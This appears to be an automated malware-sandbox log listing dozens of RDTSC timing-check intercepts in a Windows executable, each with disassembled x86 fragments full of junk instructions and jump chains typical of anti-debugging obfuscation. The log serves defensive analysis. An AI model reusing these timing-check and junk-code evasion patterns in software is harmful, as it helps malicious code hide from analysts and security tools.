Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D04D6 second address: 54D0533 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F9C2CD78D76h 0x00000011 push eax 0x00000012 jmp 00007F9C2CD78D6Bh 0x00000017 nop 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007F9C2CD78D72h 0x00000021 and esi, 172AD298h 0x00000027 jmp 00007F9C2CD78D6Bh 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05AF second address: 54D05C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05C3 second address: 54C0CF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F9C9D306DF0h 0x0000000e xor eax, eax 0x00000010 jmp 00007F9C2CD5249Ah 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d sub esp, 04h 0x00000020 mov edi, eax 0x00000022 xor ebx, ebx 0x00000024 cmp edi, 00000000h 0x00000027 je 00007F9C2CD78E74h 0x0000002d call 00007F9C316A7E9Ch 0x00000032 mov edi, edi 0x00000034 jmp 00007F9C2CD78D76h 0x00000039 xchg eax, ebp 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d movzx esi, dx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0CF4 second address: 54C0D39 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 1FFFAA9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, 53AAD488h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov esi, ebx 0x00000015 pushfd 0x00000016 jmp 00007F9C2CC4BDEFh 0x0000001b or cx, D0CEh 0x00000020 jmp 00007F9C2CC4BDF9h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0D39 second address: 54C0D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0D3F second address: 54C0E0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F9C2CC4BDF6h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov ebx, esi 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F9C2CC4BDF8h 0x0000001d adc ax, 7E08h 0x00000022 jmp 00007F9C2CC4BDEBh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F9C2CC4BDF8h 0x0000002e and eax, 5503A068h 0x00000034 jmp 00007F9C2CC4BDEBh 0x00000039 popfd 0x0000003a popad 0x0000003b popad 0x0000003c xchg eax, ecx 0x0000003d pushad 0x0000003e call 00007F9C2CC4BDF4h 0x00000043 mov edi, eax 0x00000045 pop ecx 0x00000046 movsx edx, ax 0x00000049 popad 0x0000004a push eax 0x0000004b jmp 00007F9C2CC4BDF9h 0x00000050 xchg eax, ecx 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push edi 0x00000055 pop eax 0x00000056 mov ch, bl 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E0C second address: 54C0E11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E5E second address: 54C0E6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E6D second address: 54C0E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E73 second address: 54C0E77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D09A4 second address: 54D09A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D09A8 second address: 54D09BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D09BD second address: 54D09EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9C2CD78D73h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D09EA second address: 54D09EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D09EE second address: 54D09F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D09F4 second address: 54D0A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9C2CC4BDF0h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov eax, ebx 0x00000016 mov di, BC3Ch 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0A29 second address: 54D0A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AB459Ch], 05h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F9C2CD78D6Eh 0x00000017 sub eax, 37C61288h 0x0000001d jmp 00007F9C2CD78D6Bh 0x00000022 popfd 0x00000023 mov ebx, ecx 0x00000025 popad 0x00000026 je 00007F9C9D2F6CFAh 0x0000002c pushad 0x0000002d movzx esi, di 0x00000030 mov ebx, 1C15FBD0h 0x00000035 popad 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F9C2CD78D71h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0A91 second address: 54D0A95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0A95 second address: 54D0A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0A9B second address: 54D0AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CC4BDF3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0AB2 second address: 54D0AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0B18 second address: 54D0B27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0B27 second address: 54D0B5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bh 0x00000005 mov ah, C7h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007F9C9D2FDDA7h 0x0000000f push 75A52B70h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov eax, dword ptr [esp+10h] 0x0000001f mov dword ptr [esp+10h], ebp 0x00000023 lea ebp, dword ptr [esp+10h] 0x00000027 sub esp, eax 0x00000029 push ebx 0x0000002a push esi 0x0000002b push edi 0x0000002c mov eax, dword ptr [75AB4538h] 0x00000031 xor dword ptr [ebp-04h], eax 0x00000034 xor eax, ebp 0x00000036 push eax 0x00000037 mov dword ptr [ebp-18h], esp 0x0000003a push dword ptr [ebp-08h] 0x0000003d mov eax, dword ptr [ebp-04h] 0x00000040 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000047 mov dword ptr [ebp-08h], eax 0x0000004a lea eax, dword ptr [ebp-10h] 0x0000004d mov dword ptr fs:[00000000h], eax 0x00000053 ret 0x00000054 jmp 00007F9C2CD78D73h 0x00000059 sub esi, esi 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e jmp 00007F9C2CD78D70h 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0BBE second address: 54D0C10 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 je 00007F9C9D1BFBA5h 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 movsx edi, cx 0x00000015 popad 0x00000016 pushfd 0x00000017 jmp 00007F9C2CC4BDEEh 0x0000001c jmp 00007F9C2CC4BDF5h 0x00000021 popfd 0x00000022 popad 0x00000023 cmp dword ptr [ebp+08h], 00002000h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F9C2CC4BDEDh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0956 second address: 54E0997 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx ebx, si 0x00000010 pushfd 0x00000011 jmp 00007F9C2CD78D74h 0x00000016 xor ch, FFFFFFD8h 0x00000019 jmp 00007F9C2CD78D6Bh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0997 second address: 54E09AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, D6FAh 0x00000007 mov ax, di 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09AB second address: 54E09AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09AF second address: 54E09C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09C8 second address: 54E0A13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, DAB2h 0x00000007 mov dh, EFh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F9C2CD78D72h 0x00000012 mov ebp, esp 0x00000014 jmp 00007F9C2CD78D70h 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9C2CD78D77h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A13 second address: 54E0A2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CC4BDF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A2B second address: 54E0A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A2F second address: 54E0A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov bx, cx 0x0000000d pushfd 0x0000000e jmp 00007F9C2CC4BDF8h 0x00000013 sub ecx, 0C9FB2E8h 0x00000019 jmp 00007F9C2CC4BDEBh 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, esi 0x00000021 jmp 00007F9C2CC4BDF6h 0x00000026 mov esi, dword ptr [ebp+0Ch] 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A88 second address: 54E0A8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A8C second address: 54E0AA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0AA9 second address: 54E0B42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9C2CD78D77h 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test esi, esi 0x00000010 pushad 0x00000011 jmp 00007F9C2CD78D6Bh 0x00000016 pushad 0x00000017 push eax 0x00000018 pop ebx 0x00000019 call 00007F9C2CD78D72h 0x0000001e pop ecx 0x0000001f popad 0x00000020 popad 0x00000021 je 00007F9C9D2E662Eh 0x00000027 pushad 0x00000028 push edi 0x00000029 pop ebx 0x0000002a mov ebx, esi 0x0000002c popad 0x0000002d cmp dword ptr [75AB459Ch], 05h 0x00000034 jmp 00007F9C2CD78D70h 0x00000039 je 00007F9C9D2FE6EBh 0x0000003f jmp 00007F9C2CD78D70h 0x00000044 xchg eax, esi 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F9C2CD78D77h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0B42 second address: 54E0B68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 movsx edi, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F9C2CC4BDF5h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0B68 second address: 54E0B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C76 second address: 54E0C86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CC4BDECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BE3E9 second address: 63BE3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BE3F1 second address: 63BE3F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BE3F5 second address: 63BDC46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d cmc 0x0000000e push dword ptr [ebp+122D0DA1h] 0x00000014 mov dword ptr [ebp+122D3B68h], eax 0x0000001a mov dword ptr [ebp+122D1CCBh], edi 0x00000020 call dword ptr [ebp+122D1CD2h] 0x00000026 pushad 0x00000027 cld 0x00000028 xor eax, eax 0x0000002a jmp 00007F9C2CD78D6Ah 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 mov dword ptr [ebp+122D3795h], ecx 0x00000039 mov dword ptr [ebp+122D2C1Ah], eax 0x0000003f pushad 0x00000040 movzx edx, di 0x00000043 mov dword ptr [ebp+122D3795h], edi 0x00000049 popad 0x0000004a mov esi, 0000003Ch 0x0000004f pushad 0x00000050 jmp 00007F9C2CD78D76h 0x00000055 adc cx, 125Dh 0x0000005a popad 0x0000005b jmp 00007F9C2CD78D70h 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 jg 00007F9C2CD78D72h 0x0000006a sub dword ptr [ebp+122D3795h], eax 0x00000070 lodsw 0x00000072 mov dword ptr [ebp+122D3795h], ecx 0x00000078 add eax, dword ptr [esp+24h] 0x0000007c clc 0x0000007d mov ebx, dword ptr [esp+24h] 0x00000081 sub dword ptr [ebp+122D1DB9h], edi 0x00000087 nop 0x00000088 jnp 00007F9C2CD78D74h 0x0000008e push eax 0x0000008f push edx 0x00000090 push eax 0x00000091 push edx 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BDC46 second address: 63BDC4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BDC4A second address: 63BDC5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jng 00007F9C2CD78D66h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653920A second address: 6539230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F9C2CC4BDF6h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6539230 second address: 6539236 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6539236 second address: 653923C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653923C second address: 6539241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653863D second address: 6538657 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C2CC4BDF5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6538657 second address: 653867D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9C2CD78D66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9C2CD78D73h 0x00000012 js 00007F9C2CD78D66h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653867D second address: 65386B0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F9C2CC4BDF4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9C2CC4BDF4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65386B0 second address: 65386CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65389A7 second address: 65389AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65389AC second address: 65389BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F9C2CD78D66h 0x0000000a jne 00007F9C2CD78D66h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6538AD8 second address: 6538AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6538AE2 second address: 6538B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9C2CD78D76h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F9C2CD78D6Dh 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6538B12 second address: 6538B2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F9C2CC4BDEDh 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6538B2B second address: 6538B31 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C42E second address: 653C4AF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jg 00007F9C2CC4BDEEh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jne 00007F9C2CC4BDF0h 0x0000001a pop eax 0x0000001b mov cx, B01Bh 0x0000001f jmp 00007F9C2CC4BDF0h 0x00000024 push 00000003h 0x00000026 sub dword ptr [ebp+122D1DB9h], esi 0x0000002c call 00007F9C2CC4BDF0h 0x00000031 cld 0x00000032 pop edx 0x00000033 push 00000000h 0x00000035 sbb edx, 6463D700h 0x0000003b push 00000003h 0x0000003d mov dx, E803h 0x00000041 mov dword ptr [ebp+122D367Ah], ecx 0x00000047 call 00007F9C2CC4BDE9h 0x0000004c pushad 0x0000004d jnc 00007F9C2CC4BDECh 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C4AF second address: 653C4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CD78D70h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jbe 00007F9C2CD78D66h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b pushad 0x0000001c jg 00007F9C2CD78D6Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C4DE second address: 653C4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C4E6 second address: 653C4EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C4EA second address: 653C4FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnc 00007F9C2CC4BDE6h 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C4FF second address: 653C506 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C506 second address: 653C51D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jbe 00007F9C2CC4BDE6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C51D second address: 653C536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CD78D75h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C536 second address: 653C53A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C5D4 second address: 653C5DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C5DA second address: 653C5FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C8B7 second address: 653C8BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C8BD second address: 653C8C2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C8C2 second address: 653C8DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 je 00007F9C2CD78D6Ah 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
